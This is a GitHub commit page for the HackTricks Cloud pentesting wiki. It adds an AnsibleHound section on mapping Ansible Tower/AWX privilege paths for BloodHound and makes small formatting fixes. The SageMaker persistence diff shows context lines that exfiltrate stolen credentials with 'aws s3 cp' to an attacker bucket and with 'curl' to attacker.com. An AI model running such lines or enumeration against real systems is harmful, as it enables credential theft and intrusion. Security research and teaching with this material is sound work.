Skip to content

Commit 21d8bd5

Browse files
authored
Merge branch 'HackTricks-wiki:master' into master
2 parents 98fd001 + 58b10eb commit 21d8bd5

File tree

65 files changed

+266
-90
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

65 files changed

+266
-90
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -227,6 +227,7 @@
227227
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
228228
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
229229
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
230+
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
230231
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
231232
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
232233
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
@@ -267,6 +268,7 @@
267268
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
268269
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
269270
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
271+
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
270272
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
271273
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
272274
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)

src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,75 @@ From a **white box security** review, you would need the **System Auditor role**
136136

137137
</details>
138138

139+
## Enumeration & Attack-Path Mapping with AnsibleHound
140+
141+
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
142+
143+
### Why is this useful?
144+
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
145+
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
146+
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
147+
148+
Security teams (and attackers!) can therefore:
149+
* Quickly understand **who can become admin of what**.
150+
* Identify **credentials or hosts that are reachable** from an unprivileged account.
151+
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
152+
153+
### Prerequisites
154+
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
155+
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
156+
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
157+
158+
### Building & Running
159+
```bash
160+
# Compile the collector
161+
cd collector
162+
go build . -o build/ansiblehound
163+
164+
# Execute against the target instance
165+
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
166+
```
167+
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
168+
```
169+
/api/v2/organizations/
170+
/api/v2/inventories/
171+
/api/v2/hosts/
172+
/api/v2/job_templates/
173+
/api/v2/projects/
174+
/api/v2/credentials/
175+
/api/v2/users/
176+
/api/v2/teams/
177+
```
178+
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
179+
180+
### BloodHound Transformation
181+
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
182+
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
183+
184+
And edges modelling relationships / privileges:
185+
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
186+
187+
The result can be imported straight into BloodHound:
188+
```bash
189+
neo4j stop # if BloodHound CE is running locally
190+
bloodhound-import ansiblehound-output.json
191+
```
192+
193+
Optionally you can upload **custom icons** so that the new node types are visually distinct:
194+
```bash
195+
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
196+
```
197+
198+
### Defensive & Offensive Considerations
199+
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
200+
* Enforce **least privilege** and rotate / revoke unused tokens.
201+
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
202+
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
203+
204+
## References
205+
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
206+
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
207+
139208
{{#include ../banners/hacktricks-training.md}}
140209

141210

src/pentesting-ci-cd/concourse-security/concourse-architecture.md

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
# Concourse Architecture
22

3+
{{#include ../../banners/hacktricks-training.md}}
4+
35
## Concourse Architecture
46

5-
{{#include ../../banners/hacktricks-training.md}}
7+
68

79
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
810

@@ -38,4 +40,3 @@ In order to execute tasks concourse must have some workers. These workers **regi
3840
{{#include ../../banners/hacktricks-training.md}}
3941

4042

41-

src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
# Concourse Enumeration & Attacks
22

3+
{{#include ../../banners/hacktricks-training.md}}
4+
35
## Concourse Enumeration & Attacks
46

5-
{{#include ../../banners/hacktricks-training.md}}
7+
68

79
### User Roles & Permissions
810

@@ -437,9 +439,8 @@ Accept-Encoding: gzip.
437439
438440
## References
439441
440-
- https://concourse-ci.org/vars.html
442+
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
441443
442444
{{#include ../../banners/hacktricks-training.md}}
443445
444446
445-
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Gh Actions - Artifact Poisoning
22

3-
3+
{{#include ../../../banners/hacktricks-training.md}}
44

55

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# GH Actions - Cache Poisoning
22

3-
3+
{{#include ../../../banners/hacktricks-training.md}}
44

55

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Gh Actions - Context Script Injections
22

3-
3+
{{#include ../../../banners/hacktricks-training.md}}
44

55

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# AWS - Persistence
22

3-
3+
{{#include ../../../banners/hacktricks-training.md}}
44

55

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
1+
# Aws Sagemaker Persistence
12

2-
# AWS - SageMaker Lifecycle Configuration Persistence
3+
{{#include ../../../banners/hacktricks-training.md}}
34

45
## Overview of Persistence Techniques
56

@@ -157,3 +158,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
157158

158159
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
159160
```
161+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)